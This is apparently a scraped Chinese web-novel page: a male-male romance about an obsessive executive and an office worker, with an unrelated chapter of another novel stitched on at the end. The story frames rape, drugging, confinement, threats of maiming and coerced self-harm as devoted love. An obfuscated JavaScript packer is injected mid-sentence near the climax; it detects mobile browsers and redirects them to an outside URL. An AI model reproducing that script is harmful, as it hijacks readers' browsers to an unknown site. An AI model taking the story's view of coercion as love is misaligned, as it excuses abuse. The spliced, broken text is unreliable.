“别胡说!” “急了!哈哈!之前你天天一副睡不醒的模样,你还说是看小视频看的,这次铁证如山还解释什么呀,没事儿大家都是成年人,你又单身” “我没有!!” “哟!怎么发这么大脾气?”同事在身后追着我解释“你别跑了!我那是逗你呢!你什么样儿我还不清楚吗?你就不是那乱搞男女关系的人,哎!有人!” 发了疯似的跑,结果撞到了人一屁股摔倒在地,同事跑过来正要扶我, “让你慢点儿,我以后再也不乱开玩笑了,快起…” 话还没说完,面前的人突然蹲下将我抱起来,站稳后我立刻撤开两步就跑,因为闻到了熟悉的味道, 一整天同事都缠着我跟我道歉, “你的道歉我接受了,早上我只是心情不好,不是因为你” “那就好那就好,那个,刘安,你跟他说一下行不?我这上有老下有小的,我保证一定把嘴缝上再不乱开玩笑” “你在说什么” “哎呀,好哥们儿,我真的知错了” “他说什么了” “他说你要是不原谅我,就让我从单位彻底消失,还有我老婆,你也知道我老婆也算个小领导,那,有些事情身不由己” “我知道了,但我有条件” “你说!” “想好了告诉你” 下班时老板将我叫住,让我一起去应酬, “老板,我行吗,我不会喝酒嘴笨又迟钝” 老板拍了拍我的肩膀笑道, “只要是你,一切都不是问题” “……” 回家换了身衣服,白T恤黑西装裤皮鞋,到了酒店包间,经常跟领导出来应酬的小朱一身妖艳红紧身人鱼裙,将她的身材衬的更佳,让人挪不开眼, “刘安,你去拿两瓶好酒” “哦” 刚起身就被老板按住肩膀坐下, “小安病刚好就留在这儿,朱朱跟我来” “干嘛~人家脚痛” 小朱不情不愿的被拉走了,而我被老板那么用力一按屁股重重坐下,疼的直冒冷汗, 一切安顿好后,我就去了趟卫生间,可就这一会儿的功夫,就只剩下那个人身旁的空位置了, 双手握拳不肯过去,被老板催促了好几遍,大家都在看我时,我走了过去, 我的坐垫也被特意加厚了,这让我确定了那晚的人就是他, 但听他们谈话得知,他叫姜习,一句话就能决定我们公司存亡的人,我,惹不起, 手慢慢松开,手心不知何时被指甲戳破,竟丝毫感觉不到疼, “小安,快吃呀,你看看,姜总还给你剥虾呢”老板催促道, “谢,谢谢姜总,您也吃” 我戴上手套也给他剥虾,他没说话夹起来吃掉了,接着突然握住我的手腕,我抗拒的想挣脱, “怎么回事?” “怎么了怎么了?”老板立刻跑过来殷勤的问道“这是怎么了?小朱,快去买点创可贴,快去呀” 没两分钟服务生找到了包间的药箱,姜习亲自给我消毒处理,大家就这么看着等着不敢说一句话, 我的脸色一定很难看,因为我忍不了了, “哎呀,小安脸色不太好啊,还有哪儿不舒服吗?要不要去医院?要不麻烦姜总…” 领导凑上来关心道, “我没事!我去卫生间” “快点儿回来啊,我们都很担心你,呵呵,姜总,我们继续?” 冷水洗了脸总算冷静了些,就收到领导的信息,意思就是公司的存亡都靠我了,这事儿成了给我发奖金, 回到包间他们似乎已经谈成了,领导拉着我过去跟姜总握手, “明天,让小安带您参观体验一番,绝对不会让您失望的” “好” 这次倒是没握多久便松了手,但那双眼睛却一直盯着我, 交换了联系方式,晚上回家他就发来微信邀请,只发了两个字 ‘晚安’ 但这一晚我被惊醒了无数次,一夜未眠, 第二天他惊艳登场,显然是精心打扮过,早早就等在办公室,看到我立刻双眼放光站起来看着我,领导见状笑开了花, 我毕恭毕敬“姜总,请” 他满眼欣喜的唤我“安安” 带他参观了一些新设计的家具后,一夜没睡有些体力不支,加上身体还没好利索,被一个小孩儿撞了一下就差点摔倒, 姜习扶住我在一旁的沙发坐下,手却放在我腰上不松手,我越挣扎他抱的越紧, “对不起,你打我骂我也好别推开我” “为什么这么对我” 这时的姜习像个求抱抱的小孩儿似的委屈的蹭着我的脸颊, “我刚回国就听到他们说你每日无精打采睡眠不足的模样,是因为夜夜笙歌,我很生气就喝了点酒” 我努力深呼吸让自己冷静, “对不起,我知道我很幼稚很过分,我保证不会有下次” 不知为何听到他这般低声下气的哀求,却让我后背发凉,我跟他素不相识,他对我却有这么极致的情感, 他是个疯子! “安安,你怎么浑身发抖,冷吗?” 他将我抱的更紧,亲我的额头鼻子再往下,伸手捂住他的嘴, “我,我还没原谅你” 他拉下我的手放在他胸口处,高兴的像个孩子, “我就知道你也是喜欢我的,所以那晚才没拒绝我!” 他的声音引来了路过来看家具的人, “我没看错吧,那是两个男人吧” “呀啊!是真的!真的!那个攻好帅呀!” “受呢,受好不好看?头埋在攻的怀里看不见呀” 这世道也是疯了! 接下来的日子他经常来找我,我陪着他周旋,他对我百般宠爱也没再强迫我, 我问过总跟在他身边的从小一起长大的保镖,他说两年前在国外姜习被人算计成了植物人,医生都说他这辈子就是这样了,可一年后他却突然醒了,醒来第一件事就是找我,而在这之前他从未提过我, 而且他身边也没有过任何女人或男人, 如果是这样,我根本无从下手, “儿子,你六姨给介绍的小姑娘可漂亮了,你们见面聊聊啊” 这个时候我妈给我介绍对象了, 谁知刚见面,女方对我不是很感兴趣,点了很多很贵的菜,还有一瓶1万多的酒,我意识到自己被骗了,可门口的壮汉我打不过, 姜习就在这个时候出现了,走过来坐在我身旁盯着对面的女人, “这位先生是你朋友?”那女人立刻两眼放光,主动给姜习倒了一杯酒, 姜习一口干了,转头抱住我的脑袋,将酒喂入我的口中,挣扎间呛着了,他边给我拍背边挑衅的说道, “现在知道我们是什么关系了?” 女人气急败坏的站起来恶狠狠瞪着我们,招手将门口的壮汉叫进来,指了指我道, “把他拉走!随便你们玩儿,至于你,哼,待会儿自会求我” 我开始感觉浑身燥热,姜习的脸也微微泛红,不过他目光清明丝毫不受影响,那两个壮汉还没靠近就直接晕倒了, “把这个女人送到T国” 我神智不清想咬嘴唇保持清醒,却被他吻住导致咬了他的唇,他惩罚似的加深这个吻,直至我呼吸困难才放开,转移到我耳朵, “竟敢背着我相亲,看来是这段时间太宠你了,就该让你疼,才能记住你是谁的!” “住手!你,你放开,别碰我!” “好残忍啊,安安,你为何独独对我这般残忍,可是怎么办呢,现在是你缠着我不放呢” 他松开手坏笑的看着我,还顺手推了推我,可我的双手却不受控制般紧搂着他,身体拼命的想要靠近, 我甩甩脑袋向后撤去,可他居然将自己就那么呈现在我面前,张开手臂等着我投怀送抱, 口干舌燥到了极点,我咬咬牙转身撞向墙壁, “安安!” 再次醒来后身体极度不适,但那儿没有任何不适,看来他没得逞,想下床去喝水时,一杯水递到面前,是姜习那位神出鬼没的保镖, “待在这儿别乱跑,若是敢逃打断你的腿” “咳咳!你说什么?!” “我只是转达老板的话” “他真以为自己能只手遮天?!” “我只知道,这么多年他从来不曾为任何人这样付出,手骨折了中了毒还要去T国找解药,明明可以两人一起解毒,就因为你的拒绝,他的命都可能没了” “是他伤害我在先,那晚我如果不假装昏迷早就死了,还是以那么屈辱的方式,之后强迫我接受他那突然的爱,现在只能算是扯平了” 保镖轻咳两声脸色微红, “抱歉,是我激动了,我只是担心他,只能说他的爱太极端,这对你来说确实不公平,他把我留在你身边,说明这次他活着回来的可能性很小,如果,如果他能回来,我求你在他养好伤之前对他好点,作为交换我会帮你离开他,虽然他会发疯” 说到最后他竟然有些哽咽, “你爱他?” “咳咳咳!你真可以,我的眼泪都快流下了,我是他哥,亲哥!” “哥哥给弟弟当保镖?” “这是我们家族历代传统” “他在人前风光无限,你却只能在人后为他厮杀拼命,你甘心吗” 这也是为什么姜习能一句话定他人生死的原因吧, “风光?你以为他是为什么这么偏执?过去的那些年他永远都不能展露真实的自己,戴着不同的面具与那些恶鬼周旋,也许他对你的爱早已蓄谋已久却不敢表露,直到鬼门关走了一遭后,不,也许正是对你的执念让他从鬼门关爬了回来,他是疯是狠,但对你是极大的容忍,他有用你的家人威胁过你吗?” “没有,但他说要打断我的腿” “这段时间的相处,你是真的感受不到吗?你会那么做吗?我们来打个赌,我放你走,看他会不会打断你的腿” “……”总觉得他在给我洗脑, 他警惕的看过来,那一瞬间感觉他眼珠子都是红的,很是吓人, 发现是我后,又撒娇般的蹭着我的肚子,推着他的脑袋, “醒了就别装睡了,吃饭” 这样带着命令的口吻他不但没生气,反而很高兴, “喂我,啊~” “……” 我看了看他大哥,他只是挑眉笑了笑就出去了, 没办法开始喂他吃饭,期间他一直盯着我,那满眼的爱意就像个痴汉似的, “姜习,这样盯着人看很没礼貌” “我想看,我都那么久没见你了” “闭嘴吃饭” 刚吃了饭医生就进来了,给我们两人做了检查后确认没事儿,这家伙又得寸进尺的要我帮他擦身洗头, 这家伙的身材是真的不错,可是下身也让我擦就过分了吧!关键他的兄弟还不听话! “好了!穿衣服!” “头发还没洗” “穿上衣服也能洗” “换洗衣服没拿”他委屈的站在那儿, 这时外面传来一个女人的声音, “你敢拦我?我让哥哥剁了你的手!滚开!” 门已经打开,情急之下我冲到姜习面前伸开双臂挡住他,大喊 “别过来!” 一头红发波浪卷的美女叉腰站在我面前几步之远, “你是谁?哦~你就是那个男狐狸精!” “你干什么!”我这边帮他挡着,他倒好从身后抱住我占便宜, “哥哥!平时玩玩儿就算了,你竟然对一个这么丑的男人动心了?还带他回家?我们可是有婚约的” 突然感觉到一阵寒气,身后的姜习冷冷的说道, “令玉!念在你父亲曾照顾过我的份上,今天饶了你,以后再让我听到诋毁他的话,别怪我不念旧情,至于你我的婚约想必你父亲已经与你说的很清楚了,滚!” 那女孩儿有些站不稳,说话都结巴了“可,可是,我爱你啊,而,而且哥哥这么大的产业总得有继承人吧,他是男人!对!他是男人!生不了孩子” 姜习突然俯身亲了我的耳朵, “我的东西不唠你操心,别让我再说一遍,滚出去!” 这时进来两人将她拉了出去, “害怕了?” 他将我掰过去面对他,我扯了扯嘴角勉强笑道“没有” 他俯身亲了亲我的额头,温声道 “别怕,对你,我只会无限宠溺” “…我帮你洗头” 但头发还没吹干就有急事找他,他抱着我在颈窝处猛吸两口,就像是吃了兴奋剂般精神抖擞的走出去,根本不像个病人, 我都忍不住闻了闻自己,除了汗味什么也没有,不敢乱跑回到卧室,保镖大哥已经等在那儿了, 一瞬间我突然在想,他真的甘愿当一辈子影子吗? “回来了?”他悠闲的躺在沙发上笑道, “他让你来的?” “你觉得呢”说着指了指自己的皱巴巴的衣领“想让我保护你还怕我觊觎你” “他应该是知道你对我没兴趣” 他将我上下扫视一遍,摸着下巴玩味的笑道“洗澡了?” 很奇怪,虽然他的眼神看起来与姜习要吃了我时一样,但就是觉得很假, 看我一直不说话,他起身走过来,俯身鼻尖都快碰到我的, “看呆了?不防试试?我们很多地方都很相似” 后撤几步盯着他看了一会儿,他就那么与我对视,眼中的笑意丝毫未减,他们兄弟俩不去做演员可惜了, 突然笑道, “你说等他伤好了帮我离开,是假的吧” “哈哈哈!你真有意思,我开始对你感兴趣了” “别!千万别!就当我刚才什么都没说过” 都是大佬,惹不起惹不起, 迅速跳上床睡觉,他待了一会儿就出去了,我也不知何时睡着了,直到一股血腥味儿钻入鼻, 猛的睁开眼发现我竟半个身子压在姜习身上,脑袋更是直接压着他胸口伤口处,想慢慢的挪开但腰被搂着动弹不得,只能叫醒他, “姜习?姜习醒醒!” 直到拍了他的脸,他才慢慢醒来,但却是抓着我的手放在唇边亲了亲, “安安别闹,我刚睡下” “快起来!你的伤口又裂开了” 医生进来处理时他依旧迷迷糊糊的靠在我身上犯困,似乎血淋淋的伤口一点都不疼,倒是我看的龇牙咧嘴的, 处理好后他拉着我又要躺下,被我躲开,张开的双臂就那么僵着,保镖大哥毫不留面的笑出声, “哈哈哈!这副模样你大哥我只在你还是个奶娃娃时见过,真是怀念啊” 姜习不理他,固执的要下床抱我, “别动!再动我立刻走!不要命了?!从现在开始你自己睡!” 姜习委屈巴巴的模样像个小孩儿,眼眶都红了, “咳!我会陪着你,你睡着了我再走” “嗯!”这才满意的笑了,但转头瞪着他大哥, “我走我走,真没良心,亏我这么晚了还赶来看你” 跨腿靠在床边,姜习非得把手放我腿上才肯闭眼, 这么一闹我严重睡眠不足,被手机铃声吵醒后头都是闷的, “小安呐,打扰你休息了,不好意思,我长话短说,你能不能来一趟公司?我知道姜总给你请了假,不过这件事儿非你不可,你看,能不能帮帮忙?” “老板,您太客气了,我马上就来” “不着急不着急,开车慢点,注意安全” 刚打开房门就看到姜习, “这么巧,我们还真是心有灵犀,去吃饭吧,你要出门?” “嗯,有点事儿” “我陪你去” “你的伤” 一米九的大高个拉着我的手撒娇, “带我去嘛,我保证听话不乱动” “…好吧”他这样更难缠, 他倒是说到做到不乱动,乖乖坐在我身后,可他那副大佬坐姿害的别人也不敢动啊,起身走到他面前,他立刻牵住我的手指摇晃, “你出去等我吧” 姜习抬头望着我,满目期待, “放假了还找你来,是他们不对” “一点小事儿,不至于” 他张开双臂撒娇道, “那,抱抱” 我已经无暇顾及身后众人是什么表情了,将他抱住摸了摸后脑勺,他满足的在我怀里蹭了蹭,这才起身离开,众人也跟着起身, 但姜习看向他们时眼神瞬间冰冷,如果不是凌乱的头发,真不敢相信是同一个人, 他出去后大家才松了口气,老板擦了擦汗喝了两口茶才冷静下来, 最初见到姜习时我也是这样害怕,他靠近时身体都忍不住颤抖,但从什么时候开始变的不怕他了? “小安,你可得帮帮我们啊,不然我们就得破产了” “老板别急,慢慢说” 本来有了姜习这个合作伙伴他们可以无忧无虑赚大钱,可负责这个项目的小朱太贪心,将姜习公司打来的巨额货款私吞,货物转手就卖到了黑市,拿了钱逃出国了,货没了还面临着巨额赔付款, “所以老板想让我怎么做?” “当然不能让你为难,赔付款我可以贷款解决,只是那批家具是咱们呕心沥血熬出来的,我打听到A公司已经开始仿造咱们的作品,如果被他抢先一步投入市场,那就真的完了” “……”让我牺牲自己请姜习帮忙?怪不得非我不可了, 接下来又开始打感情牌,每个人都来劝我, 我出来的时候,姜习拿着一个卡通造型的双管水壶殷勤的跑过来, “渴了吧,我尝过了温度刚好” “你,从哪儿弄的” 接过水壶匆匆往前走,他几步跟上笑道, “隔壁商场,喜欢吗” “你的眼光不是一般的差” 姜习突然从身后搂住我的腰,迫使我整个人向后踉跄抓住他的手臂,我惊慌愤怒的回头瞪他,却碰到他的鼻尖, “不喜欢?我觉得挺可爱的” 瞬间气血上涌满脸通红, 从后面的角度看我们应该是在亲吻吧,不然她们为什么尖叫?! 一段时间后姜习的伤好了很多,又一个发呆的晚上,姜习邀请我一起看恐怖电影,里面介绍着人彘的做法,姜习突然在我耳边说, “这个我很擅长” “什么?” “人彘” “……你有病吧”给他个白眼 他竟然笑了“这才对嘛,骂人的安安多可爱呀”突然抱住我叹息道“安安,我脾气不好,但我愿意迁就你一辈子,所以在我面前你可以任性妄为,那晚的事我很抱歉,对不起,你打我骂我哪怕杀了我都可以,但不要怕我,好不好” 这个不可一世的男人低声哀求着,仿佛下一秒就要哭出来,跟他说梦话时一模一样, “都是男人应该很清楚酒醉心里明,那天你是故意的,你知道我是什么样的人,但为了宣泄自己的情感还是那么做了,不管我怎么求你” “对不起,对不起,对不起……” “我辞职了,我不愿被他们利用,你不要为难他们,就让他们自生自灭吧” “好”他将我抱得更紧,艰难的问出那句话“你要离开我了吗” “你会放手吗?” “不,我不想放手”他哭的像个孩子,温热的泪水滑过我的脖颈,他哽咽道“不想被你厌恶,安安,安安”鼻涕都出来了“你能不能嗝!告诉我要去哪嗝!我就远远的嗝!看着,绝对不嗝!去打扰你” 哭的还打嗝儿了,偏过头捂着脸,本来很难过的,可他这样我好想笑怎么办! “我来的不是时候?姜习你怎么,哈哈哈哈!你怎么哭成这个鬼样子!哎哟哈哈哈哈!不行我得忍住!噗哈哈哈哈我不行了” 一个哭的说不出话,一个笑的说说不出话,我忍无可忍! “闭嘴!都给我闭嘴!你!不许哭了!你!不许笑!” 果然有用,被这么一吓,姜习不打嗝了,保镖大哥跑出门外笑去了, “安安~” “姜习,这段时间的相处我明白你的爱是真的,可伤害也是真的” “对不起” “我会离开这里,一年后如果我觉得自己能接受你,我会回来找你,反之,我们各自安好,互不打扰” “不,无论多少年我都等你!” “随便你吧” 这次我真的走了,保镖大哥开车送我去车站, “你果然很有意思,竟然让我那个偏执狂弟弟心甘情愿放手,那段时间你是故意在他面前表现出心事重重的样子,让他觉得你生无可恋,好激起他的愧疚感” “那你猜,他知不知道我在演戏?” “能让我弟弟爱上的人果然不是凡人” “心疼你弟弟?拐弯抹角的骂我不是人” “哈哈哈!咱们打个赌怎么样?你赢了我允你一件事,你输了做我的人” “任何事?犯法的都行?” “嗯哼!哥就是这么豪!” “赌什么” “一年内他会爱上其他人,我赌他会” “……是谁跟我说的,我是他此生唯一的救赎,他是靠着对我的思念活了的” “哈哈!你也是男人,应该了解的,对吧,国外的那些年一直都有一个女人陪着他,也许你还见过呢,她可是他的心腹之一,她对姜习是一见钟情,情根深重啊,当然这都不是最重要的” 是她啊,还真见过,难怪那么面熟,看着窗外无奈开口, “快到了” “她与你有八分相似,啧啧,你还真不在意啊,那时候姜习常把她带在身边,借酒消愁的时候也是” 举起手机晃了晃, “为了防止你后悔,我录音了” “哈哈哈!谁让我宠你呢,来,让哥抱抱” 与姜习不同,他总是一身漆黑的服装,身材也比姜习消瘦, “小安安,再摸下去我会误以为你喜欢我” 立刻松手“咳咳!好好吃饭” 他俯身凑近目不转睛的盯着我, “我的名字是姜安,只告诉你一人” 到了新的城市,开始是有些难,但却让我又找回了自己,半年后我买了一辆电动车,不必每天挤公交地铁,一切似乎都跟以前一样,除了每天走从停车处回家的那段小路时,不停的回头,总觉得有人跟着我, 一年之期快到了,那个赌约也该了结了,毕竟我可是念了很久了, “对不起,我爱上小久了” 那一刻我的心口竟有些闷,然后不假思索的上去给了他一拳! 他擦了擦嘴角的血,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353467|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“呵!我等了这么多年早就累了,一年前想着再努力一次,我恨不得把命给你,你还是走了,这次我真的是累了” “彭!”又一拳! 打第三拳的时候被抓住手腕压在石桌上, “够了!!小久看到我受伤该心疼了,我爱你的时候你厌恶我,我不爱你了你又死缠烂打,没有人会在原地你!” “我会!” 挣扎间突然飞来一脚将他踹开,他躲闪很快只在衣服上蹭了点灰, 他们两人竟然穿着同样的衣服,加上面容相似,一时之间竟分辨不出, “没事吧” “没事儿,你” “我赢了,你得做我的人了,小安安” 看着这个来救我的男人,我想说些什么却被他打断了, 转身就给了他肚子上来了一拳! 他捂着肚子不可思议的看着我, “为什么连我都打” “你说呢,难不成我还得配合你们演戏?姜习!” 姜习突然起身一把抱住我,言语中尽是惊喜, “我就知道!我就知道!你是爱我的!可是你好狠的心啊,还有半个小时就到一年之期了” 他的双臂勒的我很疼 “所以,你为了报复我就让你哥假扮你对我说那些话?” “对不起,我错了” “姜习,我来找你是因为想与过去和解,并且尝试去接受你,但先爱上的人注定付出更多,你最好有心理准备,还有如果哪天你不爱我了,提前告诉我,不要找借口” “怎么会不爱你!不会有那一天的!我死都不会放手!” “还有一件事儿,唔!松手!勒疼我了” 他立刻松了松力道,但没打算放开我,抵着我的额头不断靠近,一把捂住他的嘴, “能不能听我说完?” “嗯嗯!” “我不接受为了我好的所谓善意的谎言和伤害,一次都不可以” “嗯!我发誓!” “那就好,现在放开我” “不,我想亲你” “不行,我很累想洗澡休息了” 突然将我公主抱起转了一圈儿,给我整晕了只能紧紧抓着他的衣服, “一起洗” “不行!” “一起嘛~我发誓真的只是洗澡” 确实是真的洗澡,除了最后一步,能做的都做了,整整一个小时要不是我快泡晕了还不结束, “彭!” 早上醒来看见他的脸就来气,一脚给他踹下去,他迷迷糊糊的又爬上来抱住我不可思议的说道, “太好了!你还在!我以为是梦!” “所以,这就是你把我弄成这样的原因?” 推开他拉开衣服让他看,他倒好,一脸痴汉的伸手上来摸了又摸,一把打掉他的手, “明天我就回去了,你让我怎么见人?” “不准走!你说了不走的!” “我说的是跟你在一起,不是寸步不离的待在你身边,我也有自己的工作” “安安~不要丢下我~” “你听不懂我说话吗?!” 作为交换,今天一整天都跟他在一起,出去玩儿要时时刻刻拉着手,上个厕所也要在门口看着, 然后,第二天火车上,我看了看对面嗑瓜子的姜安和小久还有身旁剥瓜子仁的姜习, “你们跟来干什么!” “安安去哪儿我去哪儿,我是安安的小尾巴”姜习像个热恋中的小姑娘似的靠在我肩上痴迷的望着我, 有你这么壮的尾巴吗?! 姜安嬉笑着抢了我面前的瓜子 “我们是去旅游的,恰巧与你同路” 小久点点头表示赞同, “你们就这么闲?公司呢?不管了?一群败家子” 姜习瞪了姜安一眼,剥了瓜子喂到我嘴里,撒娇的在我颈窝处蹭, “所以你养我吧,安安” 来到我租住的房子,姜习第一件事儿就是在我床上打滚,那天晚上小小的床上两个人只能紧紧抱着才不至于掉下去, 他从不主动要求做那件事,只是用行动来证明他的渴望, 一个星期后他回去处理公司的事儿,我一个人却突然觉得床空荡荡的,夜晚也变的漫长, 但我没想到这家伙开会还要跟我视频,听着那边在汇报工作我也不敢说话,但挂断一次他拨一次,到底是谁任性妄为?开视频就为了让我看他那张冷脸? 突然他低头对着镜头做了个亲亲的动作,眯着眼噘着嘴, “噗!咳咳咳!” 一口水全喷出去了,这个家伙! 每天视频这么腻歪着时间过的倒也快,又一个星期后我正在跟同事讨论今天午饭吃啥,同事的手自然搭在我肩上, 突然头顶一片阴影遮住了光线,接着就被抱住堵住了唇,惊慌之下挣扎了两下发现是熟悉的气息后,也就由着他了, “安安,我来接你回家” 同事的嘴巴差点没合上,“小刘,这位是” 姜习从身后抱住我脸贴着脸,宣誓主动权, “他是,呃”莫名的脸热“咳,男朋友,我们先走了,改天再约,再请你吃饭!” 拉着姜习迅速撤离,上了他的车脸还是烫的, “安安” “闭嘴!” 他俯身过来将安全带拉过来,笑的眼睛都眯成一条缝了, “安全带” “知道了,让开” “我吃醋了” 他不但没让开还更凑近, “别发疯,让开” “他碰你了,这里” 我还没反应过来这家伙不知何时解开了我的衬衫一口咬上我的肩膀, 午饭是吃不成了,得亏下午不上班, 在反复征得我的同意后,他将我整个人几乎是扔到床上,疯狂想要证明我是他的,所以虽然极力克制动作也不算温柔,那种恨不得将我整个人融合在他的身体里的热情让我有些恐慌,一开始我还有力气骂骂咧咧,可后来我只能无声的抗议,被一个偏执狂疯子爱上真不是一般人能承受的, 伴随着闹钟声传来的是他在耳边的哭泣声, “吵咳咳!” 我想说吵死了无奈嗓子沙哑到无法开口, “呜呜呜!对不起对不起对不起,安安,你杀了我吧” 说着竟然把一把匕首塞我手里,抓着我的手就往他身上刺! 用尽力气阻挡还是刺进一点点,拿眼睛瞪他,这个疯子! “咳咳咳咳咳!” “安安安安,喝水” 嗓子好了点能发出一点声音后,低声道, “手机” “哦,安安,你别用这种眼神看我,我害怕” 用手机打字‘你再敢做这种自残行为,我就永远离开你,去拿药箱’ 给他处理了伤口,他拉着我的手问道, “安安你,不怪我吗?” ‘我要说不怪你,你下去是不是又要得寸进尺?还是说我怪你,你就再次用自残威胁我?’ “我没有我不是,不是威胁你,我保证下次一定不伤你” ‘下次?哼!等我心情好了再说吧!我要去上班了,起开!’ 谁知刚下床就腿软摔地上,姜习立刻过来将我抱起,狠狠的挥舞着拳头往他脸上身上招呼, “哎哟哎哟!错了!我错了!别打了安安,我看不见路了” 最后只能跟同事换班了, 下午姜安和小久来做客时我刚醒,迷迷糊糊听到有人说话, “哈哈哈!笑死了!看看你这张脸,我以为走错门了” “闭嘴!安安,是不是吵到你了?” 此刻我正躺在沙发上姜习的腿上,喝了点水被姜习扶起来靠他身上, “这是哪儿?”声音依旧有些沙哑, “我们的家,以后我们就住在这里” “他可是为了你把那边的生意都交给了我,要在这里陪着你重新开始,我这个大哥可有得忙喽” 疑惑的看着他,姜安继续道, “一切从零开始,他在这儿开了新公司,那地方小的可怜,所以你们只能住在这种简陋的一室一厅小房子” 姜习将我的脸掰过去看着他, “别听他的,我有20%的股份” “哼!我60%”姜安不服气的说道 但姜习没有理会他,而是抱着我道歉“对不起安安,没有提前和你商量就擅自拿主意” 姜安一副见了鬼的模样,嘲讽道“弟弟呀,你不会是上厕所也要征得同意才能去吧” 被他这么一说,我反倒是有些不自在了,悄悄戳了戳姜习的腰, “别说了,姜习!” “那你是不反对了?” “嗯” 我的肚子适时的叫了,姜习抱着我到了饭桌旁,饭菜早已经准备好,盖着保温罩, 姜安本想坐下一起吃饭,可被姜习轰走了,边吃饭边看着这一切, “这些都是你准备的?” “嗯,喜欢吗?不喜欢咱们就换” “钱烧的吗?眼光还不错” 他突然凑近舔了下我的嘴角,低沉说道“嗯,确实不错,不管是物还是人” 一把推开他的脸,我刚才竟然想亲他?!真是疯了! 再送我上班见到同事时,他收敛了很多,同事也是,说话始终保持一步的距离, 他的新公司刚起步有很多要忙的事,可再晚他都会回来,哪怕只能睡两三个小时, 可今天他没回家,雪越来越大,终是忍不住去找他,谁知刚下楼就看到他在不远处抬头望着,望着我们的家, 肩上落了雪冻的耳朵通红,脸上却洋溢着笑容,将伞撑在他头顶时,他的第一反应竟然是躲开并警惕的盯着我, “呵呵呵!你躲什么” “安安?”说着一把抱住我“你怎么下来了,多冷啊,你听我解释,我刚才以为是” “行了,回家吧” “嗯!” 简单洗漱后他钻进被窝像往常那样搂着我,黑暗中大眼瞪小眼, “安安,你看着我干什么?” “你不看我怎么知道我看你” “是我做错什么了?” “明天,我休息” “那我也休息!安安你!” 他惊喜的盯着我,因为我把他的手往下挪了挪, “试试看我好了没” “我,我去洗澡!洗的干干净净的!” “忙到这么晚了,你不累吗?” 说着故意贴近他对着他的喉结吹气,果然他的声音都变沙哑了,低头就吻上我的唇, “半个月了,安安,你知道我有多想吗,你放心,这次我绝对不会伤到你,如果难受你随时叫停好吗” 他磨蹭着我的脖颈,整个身躯因激动竟颤抖着, “知道了” 窗外的漫天雪花是寒冷,却衬的此刻的我越发灼热,像要烧起来了,伸手想要去触摸,却被拉回来啃着手指, 该死的,竟然忘记拉上窗帘了,会不会被对面的人看到…… 这一次真的不是很难受,加上他一直在给我按摩腰,虽然手法不正经, 雪花落在掌心,真切的冰凉触感,他的手覆上来与我十指相扣,灼热传来让人心悸, “安安,下次是什么时候?” 这么浪漫的场景被他这句话成功破坏了, “你脑子里能不能除了这个没别的了?!” 他用脸颊蹭着我的耳朵,理直气壮的说道, “抱着心爱的人还想其他的?那就不是男人!” “脸皮真厚,姜习,我们以前认识吗?” “说来话长了,那年也是这样的下雪天” 说着手掌竟然滑入我的衣服,一把拽出来吼道 “长话短说!别说废话!” “呜呜呜!人家想浪漫一下的,好伤心~” “说不说?!”转身扯他的脸, “说说!我想想,虽是一面之缘,但一饭之恩,从此一见倾心终身难忘” “什么?竟然这么俗套吗?那时你几岁?” “12岁” “……”难怪我没印象! 只是这样就爱我至此,还说我是他的曙光,是他活下去的唯一动力,我无法理解更无法产生共鸣,但我会用余生慢慢了解他陪着他…… 34. 雨夜 雨,是城市的眼泪,冰冷,粘稠,永无止境。 黑色的保姆车像一尾沉默的巨兽,切开雨幕,碾过霓虹破碎的倒影,滑入市中心最顶级的私密会所“云巅”的地下车库。车门无声滑开,先踏出的是一只锃亮的黑色手工皮鞋,紧接着,是包裹在剪裁精良的意大利深灰色羊绒大衣里的挺拔身影。 霁丞。 他面容英俊得近乎锋利,下颌线紧绷,鼻梁高挺,深邃的眼窝里嵌着一双深潭般的眸子,此刻没有任何情绪,只有一种沉淀下来的、不容置疑的掌控力。他微微侧身,没有撑伞,只是朝车内伸出手。 一只骨节分明、白皙得近乎透明的手搭了上来,指尖微凉。 霁远走了出来。 与霁丞极具侵略性的英俊不同,霁远的美,带着一种易碎的、惊心动魄的脆弱感。他穿着简单的白色高领毛衣和黑色长裤,外面罩着一件霁丞同款但小一号的深灰色大衣,衬得他身形更加单薄。湿冷的空气让他下意识缩了缩脖子,几缕微卷的黑发贴在光洁的额角,长睫低垂,遮住了那双本该璀璨如星的眸子,只留下淡淡的倦怠阴影。他的唇色很淡,微微抿着,像一朵被雨打蔫了的白山茶。 “冷?”霁丞低沉的声音在空旷的车库里带着回响,不是询问,是陈述。他宽大的手掌几乎完全包裹住霁远微凉的手,力道不容挣脱,带着他快步走向专属电梯。 霁远没有回答,只是任由他牵着。指尖传来的温度滚烫,熨帖着皮肤,却驱不散心底那层更深的寒意。他讨厌这种被牵引的感觉,像提线木偶。更讨厌“云巅”这个地方,这里充斥着金钱、欲望和令人作呕的交易,每一次呼吸都带着腐朽的甜香。 电梯无声上行,镜面映出两人并肩的身影。霁丞高大强势,霁远纤细沉默,像一幅构图完美的画,却透着一种诡异的、被强行捆绑在一起的和谐。霁丞的目光透过镜面落在霁远低垂的侧脸上,眼底深处有什么东西翻涌了一下,快得抓不住。 “待会儿见到王总,少说话。”霁丞的声音恢复了惯常的冷静,“他喜欢你的新歌,投资意向很明确。微笑,点头,喝酒点到为止,明白吗?” 命令的口吻,像在叮嘱一件珍贵的物品该如何展示。 霁远依旧没吭声,只是长长的睫毛颤动了一下。新歌?那首被霁丞改得面目全非、塞满了商业元素的歌?他只觉得喉咙发紧。 电梯门打开,隔绝了外界的雨声,扑面而来的是暖融的香风、轻柔的爵士乐和低声谈笑。这里是“云巅”的顶层VIP区,私密性极强,能俯瞰大半个城市的璀璨灯火,是各路资本大佬、顶级明星和幕后推手的隐秘乐园。 霁丞的出现,立刻吸引了全场的目光。几个西装革履的男人端着酒杯迎了上来,脸上堆着热络的笑容。 